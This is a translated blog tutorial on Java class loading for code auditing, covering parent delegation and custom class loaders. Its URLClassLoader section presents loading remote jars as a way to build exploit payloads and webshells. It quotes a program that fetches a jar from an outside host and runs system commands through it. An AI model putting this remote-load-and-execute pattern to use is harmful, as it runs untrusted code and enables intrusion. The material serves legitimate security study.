Java code audit - 1. ClassLoader

reference resources:

https://www.bilibili.com/video/BV1go4y197cL/

https://www.baeldung.com/java-classloaders

https://mp.weixin.qq.com/s/lX4IrOuCaSwYDtGQQFqseA

Take java 8 as an example

What is class loading

Java is a mixed language. It has the characteristics of both compiled language and interpreted language. The compilation feature means that all Java code must be compiled to run. Interpretive means that the compiled. Class bytecode needs to be interpreted by the JVM before it can run The class file stores the binary information of the compiled JVM instructions.

When a class is used in the program, the JVM will look for and load the corresponding. Class file and create the corresponding class object in memory. This process is called class loading.

Class loading steps

theoretical model

From the perspective of the life cycle of a class, a class (. Class) must go through three steps: loading, linking and initialization to run in the JVM.

When a java program needs to use a class, the JVM will load, link and initialize the class.

Loading

Find the bytecode file of the class through the fully qualified name of the class, read the bytecode data of the. Class file of the class from different data sources to the JVM, and map it to the data structure recognized by the JVM.

This stage is the stage that users can participate in, and the custom class loader is in this process.

Connecting Linking

  • Verification: check whether the byte information loaded by the JVM conforms to the java virtual machine specification.

    Ensure the correctness of the loaded class. The information contained in the byte stream of the. Class file meets the requirements of the current virtual machine and will not endanger the security of the virtual machine.

  • Preparation: this stage is mainly to allocate memory. Create static variables of a class or interface and assign default values to these variables.

    Only static variables are processed. The variables modified by final static will be allocated during compilation.

  • For example: static int num = 5, this step will assign num to the default value of 0, and the assignment of 5 will be completed in the initialization phase.

  • Parsing: converts symbolic references in a class to direct references.

    A symbol reference is a set of symbols to describe the target, and a direct reference is a pointer directly to the target, a relative offset, or a handle indirectly located to the target.

Initialization

Code logic that executes class initialization. It includes executing static code blocks and assigning values to static variables.

Concrete implementation

java.lang.ClassLoader is the parent class of all class loaders. java.lang.ClassLoader has many sub class loaders, such as java.net.URLClassLoader, which is used to load jar packages. The latter rewrites the findClass method by inheriting the java.lang.ClassLoader class, so as to load directory class files and even remote resource files.

Three built-in class loaders

  • Bootstrap ClassLoader bootstrap classloader

    The Java class is loaded by the instance of java.lang.ClassLoader, which itself is a Java class. Who loads the latter?

    In fact, it is the bootstrap ClassLoader. It is the lowest loader and a part of the JVM. It is written in C + +. Therefore, there is no parent loader and does not inherit the java.lang.classloder class. It is null in the code.

    It mainly loads java basic classes. Located in JAVA_HOME/jre/lib/rt.jar and classes in the sun.boot.class.path system properties directory.

    For security reasons, this loader only loads classes beginning with java, javax and sun.

  • Extension ClassLoader extension classloader

    Responsible for loading Java extension classes. Located in Java_ Classes in the home / JRE / lib / ext directory and the java.ext.dirs system properties directory.

    sun.misc.Launcher$ExtClassLoader
    // jdk 9 and later
    jdk.internal.loader.ClassLoaders$PlatformClassLoader
    
  • App ClassLoader system class loader

    Also known as System ClassLoader, it mainly loads the classes of the application layer. Located in class_ The classes in the path directory and the system attribute java.class.path directory.

    It is the default class loader. If we do not specify a class loader during class loading, it will be used to load classes by default.

    sun.misc.Launcher$AppClassLoader
    // jdk 9 and later
    jdk.internal.loader.ClassLoaders$AppClassLOader
    
Paternity

AppClassLoader parent loader is ExtClassLoader, ExtClassLoader parent loader is null.

Many materials and articles say that the parent loader of ExtClassLoader is BootStrap ClassLoader. Strictly speaking, the parent loader of ExtClassLoader is null, but in its loadClass method, when the parent is null, it is handed over to BootStrap ClassLoader for processing.

Parental delegation mechanism

Consider a few questions:

  1. There are three kinds of loaders. How to ensure that the classes loaded by one class loader will not be repeatedly loaded by another class loader?

    It is bound to check whether a class has been loaded before loading it. If none of the three built-in class loaders are loaded, they are loaded.

  2. Can some basic core classes be loaded by all loaders?

    For example, if you add a back door to the String class and put it under the classpath, do you want the appclassloader to load it? If it is loaded by the appclassloader, what verification does it need to do? How to verify?

In order to solve the above problems, java adopts the two parent delegation mechanism to coordinate the three class loaders.

Each class loader has a cache for the classes it loads.

Find up delegates and load down delegates.

  • Class uniqueness

    It can avoid repeated loading of classes. When the parent Class loader has loaded the Class, it is not necessary to load the child ClassLoader again to ensure that there is only one loaded Class in memory.

    The child loader can see the class loaded by the parent loader. The parent loader cannot know the class loaded by the child loader. If class A is loaded through AppClassLoader and class B is loaded through ExtClassLoader, it can see two classes for the classes loaded by AppClassLoader. For ExtClassLoader, it can only see class B.

  • Security

    In consideration of security factors, the types defined in the Java core API will not be replaced at will. Suppose a class named java.lang.Object is passed through the network and passed to the startup class loader through the parental delegation mode, and the startup class loader finds the class with this name in the core Java API, finds that the class has been loaded, and will not reload the java.lang.Object passed through the network, And directly return the loaded Object.class, which can prevent the core API library from being tampered with at will.

Loading steps and code details

public Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException 

This function is the entry function for class loading. The resolve parameter indicates whether the connection phase is required.

The following is a partial code snippet, from which you can deeply understand the parental delegation mechanism.

Class<?> c = findLoadedClass(name);

Look in the class load cache for whether the class has been loaded. It finally calls the native method.

if (parent != null) {
    c = parent.loadClass(name, false);
} else {
    c = findBootstrapClassOrNull(name);
}

If the parent loader is not empty, let the parent loader load this class recursively.

If the parent loader is empty, call the Bootstrap loader to load this class. This is why the parent loader of ExtClassLoader is null instead of Bootstrap.

c = findClass(name);

If all the parents are not found after querying, it means that this class has not been loaded, then call the findClass method to find and load this class. Our custom class loader mainly rewrites findClass.

summary

The ClassLoader class has the following core methods:

  1. loadClass (loads the specified Java class)
  2. findLoadedClass (find the class that the JVM has loaded)
  3. findClass (find the specified Java class)
  4. defineClass (define a Java class)
  5. resolveClass (link the specified Java class)

It is not easy to understand the Java class loading mechanism. Here we learn ClassLoader from a Java HelloWorld.

The important process of ClassLoader loading com.example.HelloWorld class is as follows:

  1. ClassLoader calls the loadClass method to load the com.example.HelloWorld class.
  2. Call the findLoadedClass method to check whether the TestHelloWorld class has been loaded. If the JVM has loaded the class, it will directly return the class object.
  3. If the parent class loader (New ClassLoader) is passed in when creating the current ClassLoader, the TestHelloWorld class is loaded with the parent class loader, otherwise it is loaded with the Bootstrap ClassLoader of the JVM.
  4. If the TestHelloWorld class cannot be loaded in the previous step, call its own findClass method to try to load the TestHelloWorld class.
  5. If the current ClassLoader does not override the findClass method, the class loading failure exception is returned directly. If the current class overrides the findClass method and finds the corresponding class bytecode through the passed com.example.HelloWorld class name, you should call the defineClass method to register the class in the JVM.
  6. If the resolve parameter passed in when calling loadClass is true, you also need to call the resolveClass method to link the class, which is false by default.
  7. Returns a java.lang.Class class object loaded by the JVM.

Custom class loader

purpose

In most cases, the built-in class loader is enough, but when loading classes located in other locations on the disk or on the network, or encrypting classes, you need to customize the class loader.

Some usage scenarios: jdbc driven by different implementations is loaded dynamically. And the weaving agent can change the known bytecode. And multi version coexistence mechanism with the same class name.

Concrete implementation

We usually implement a custom class loader, mainly overriding the findClass method.

protected Class<?> findClass(String name) throws ClassNotFoundException

Read the bytecode of the class from the network or disk file (. class, jar, and any suffix file). Then pass the obtained class bytecode to the defineClass function to define a class.

protected final Class<?> defineClass(String name, byte[] b, int off, int len) throws ClassFormatError

It eventually calls the native method.

Sample code

Loading classes using class bytecode
@Test
public void test3(){
    Double salary = 2000.0;
    Double money;
    {
        byte[] b = new byte[]{-54, -2, -70, -66, 0, 0, 0, 52, 0, 32, 10, 0, 7, 0, 21, 10, 0, 22, 0, 23, 6, 63, -15, -103, -103, -103, -103, -103, -102, 10, 0, 22, 0, 24, 7, 0, 25, 7, 0, 26, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 26, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 59, 1, 0, 3, 99, 97, 108, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 1, 0, 6, 115, 97, 108, 97, 114, 121, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 17, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 46, 106, 97, 118, 97, 12, 0, 8, 0, 9, 7, 0, 27, 12, 0, 28, 0, 29, 12, 0, 30, 0, 31, 1, 0, 24, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 1, 0, 11, 100, 111, 117, 98, 108, 101, 86, 97, 108, 117, 101, 1, 0, 3, 40, 41, 68, 1, 0, 7, 118, 97, 108, 117, 101, 79, 102, 1, 0, 21, 40, 68, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 0, 33, 0, 6, 0, 7, 0, 0, 0, 0, 0, 2, 0, 1, 0, 8, 0, 9, 0, 1, 0, 10, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 13, 0, 14, 0, 0, 0, 1, 0, 15, 0, 16, 0, 1, 0, 10, 0, 0, 0, 64, 0, 4, 0, 2, 0, 0, 0, 12, 43, -74, 0, 2, 20, 0, 3, 107, -72, 0, 5, -80, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 12, 0, 0, 0, 22, 0, 2, 0, 0, 0, 12, 0, 13, 0, 14, 0, 0, 0, 0, 0, 12, 0, 17, 0, 18, 0, 1, 0, 1, 0, 19, 0, 0, 0, 2, 0, 20};
        money = calSalary(salary,b);
        System.out.println("money: " + money);
    }
}
private Double calSalary(Double salary,byte[] bytes) {
    Double ret = 0.0;
    try {
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        Class<?> clazz = (Class<?>) method.invoke(this.getClass().getClassLoader(), "ClassLoader.SalaryCaler1", bytes, 0, bytes.length);
        System.out.println(clazz.getClassLoader());
        Object object = clazz.getConstructor().newInstance();
        Method cal = clazz.getMethod("cal",Double.class);
        ret = (Double)cal.invoke(object,salary);
    } catch (Exception e) {
        e.printStackTrace();
    }
    return ret;
}
Read the class bytecode from the file and load the class
@Test
// Customize the class loader to load classes from the. myclass file.
public void test4(){
    // Annotate all other methods and rename the ClassLoader.SalaryCaler file.
    try {
        Double salary = 2000.0;
        Double money;
        SalaryClassLoader classLoader = new SalaryClassLoader("C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\underlying\\target\\classes\\");
        money = calSalary(salary, classLoader);
        System.out.println("money: " + money);
    } catch (Exception e) {
        e.printStackTrace();
    }
}
private Double calSalary(Double salary, SalaryClassLoader classLoader) throws Exception {

    Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler1");
    System.out.println(clazz.getClassLoader());

    Object object = clazz.getConstructor().newInstance();
    Method cal = clazz.getMethod("cal",Double.class);

    return (Double)cal.invoke(object,salary);
}
package ClassLoader;

import org.apache.commons.io.IOUtils;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.security.SecureClassLoader;

public class SalaryClassLoader extends SecureClassLoader {
    private String classPath;

    public SalaryClassLoader(String classPath) {
        this.classPath = classPath;
    }

    @Override
    protected Class<?> findClass(String name)throws ClassNotFoundException {
        String filePath = this.classPath + name.replace(".", "/").concat(".myclass");
        byte[] b = null;
        Class<?> aClass = null;
        try (FileInputStream fis = new FileInputStream(new File(filePath))) {
            b = IOUtils.toByteArray(fis);
            aClass = this.defineClass(name, b, 0, b.length);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return aClass;
    }
}
Read the class bytecode from the jar package and load the class
@Test
//Customize the class loader and load. myclass from the jar package
public void test5(){
    try {
        Double salary = 2000.0;
        Double money;
        SalaryJarLoader classLoader = new SalaryJarLoader("C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\out\\artifacts\\SalaryCaler\\SalaryCaler.jar");
        money = calSalary(salary, classLoader);
        System.out.println("money: " + money);
    } catch (Exception e) {
        e.printStackTrace();
    }
}
private Double calSalary(Double salary, SalaryJarLoader classLoader) throws Exception {
    Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler1");
    System.out.println(clazz.getClassLoader());

    Object object = clazz.getConstructor().newInstance();
    Method cal = clazz.getMethod("cal",Double.class);

    return (Double)cal.invoke(object,salary);
}
package ClassLoader;

import org.apache.commons.io.IOUtils;

import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.SecureClassLoader;

public class SalaryJarLoader extends SecureClassLoader {
    private String jarPath;

    public SalaryJarLoader(String jarPath) {
        this.jarPath = jarPath;
    }


    @Override
    protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
        Class<?> c = null;
        synchronized (getClassLoadingLock(name)){
            c = findLoadedClass(name);
            if(c == null){
                c = this.findClass(name);
                //                System.out.println(c);
                if( c == null){
                    c = super.loadClass(name,resolve);
                }
            }
        }
        return c;
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        Class<?> ret = null;
        try {
            URL jarUrl = new URL("jar:file:\\"+jarPath+"!/"+name.replace(".","/").concat(".myclass"));
            InputStream is = jarUrl.openStream();

            byte[] b = IOUtils.toByteArray(is);
            ret = this.defineClass(name,b,0,b.length);
        } catch (Exception e) {
            //            e.printStackTrace();
        }
        return ret;
    }

}

Break the parental delegation mechanism

Override the inherited loadClass method.

Make it load locally first. If it cannot be loaded locally, go through the parental delegation mechanism.

@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
    Class<?> c = null;
    synchronized (getClassLoadingLock(name)){
        c = findLoadedClass(name);
        if(c == null){
            c = this.findClass(name);
            if( c == null){
                c = super.loadClass(name,resolve);
            }
        }
    }
    return c;
}

other

URLClassLoader

URLClassLoader provides the ability to load remote resources. When writing payload or webshell exploited by vulnerabilities, we can use it to load remote jar s to realize remote class method calls.

In the java.net package, JDK provides an easy-to-use class loader URLClassLoader, which inherits ClassLoader.

public URLClassLoader(URL[] urls) 
//Specify the URL address of the class to be loaded. The parent class loader defaults to AppClassLoader.
public URLClassLoader(URL[] urls, ClassLoader parent)
//Specify the URL address of the class to load, and specify the parent class loader.

Load the class from the local jar package

@Test
// Load class from jar package
public void test3() {
    try {
        Double salary = 2000.0;
        Double money;
        URL jarUrl = new URL("file:C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\out\\artifacts\\SalaryCaler\\SalaryCaler.jar");
        try (URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{jarUrl})) {
            money = calSalary(salary, urlClassLoader);
            System.out.println("money: " + money);
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}
private Double calSalary(Double salary, URLClassLoader classLoader) throws Exception {
    Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler");
    Object object = clazz.getConstructor().newInstance();
    Method cal = clazz.getMethod("cal",Double.class);

    return (Double)cal.invoke(object,salary);
}

Load the class from the network jar package

package com.anbai.sec.classloader;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;

/**
 * Creator: yz
 * Date: 2019/12/18
 */
public class TestURLClassLoader {

    public static void main(String[] args) {
        try {
            // Define the jar path for remote loading
            URL url = new URL("https://anbai.io/tools/cmd.jar");

            // Create the URLClassLoader object and load the remote jar package
            URLClassLoader ucl = new URLClassLoader(new URL[]{url});

            // Define the system commands to be executed
            String cmd = "ls";

            // Load the CMD class in the remote jar package through URLClassLoader
            Class cmdClass = ucl.loadClass("CMD");

            // Call the exec method in CMD class, which is equivalent to: process = cmd.exec ("whoamI");
            Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

            // Gets the input stream of the command execution result
            InputStream           in   = process.getInputStream();
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[]                b    = new byte[1024];
            int                   a    = -1;

            // Read command execution results
            while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
            }

            // Output command execution results
            System.out.println(baos.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}	
import java.io.IOException;

/**
 * Creator: yz
 * Date: 2019/12/18
 */
public class CMD {

    public static Process exec(String cmd) throws IOException {
        return Runtime.getRuntime().exec(cmd);
    }

}

jsp webshell

Why can the uploaded jsp webshell be accessed immediately? It is reasonable that the jsp can be executed only after being processed by the servlet container and transformed into a servlet. Generally, the development process needs to actively update resources, or redeploy and restart the tomcat server.

This is because of tomcat Thermal loading mechanism . The reason why JSP has the ability of hot update is actually the custom class loading behavior. When the Servlet container finds that the JSP file has been modified, it will create a new class loader to replace the original class loader, and the files loaded by the replaced class loader will not be released immediately, but need to wait for GC.

Posted by XZer0cool on Tue, 30 Nov 2021 14:07:41 -0800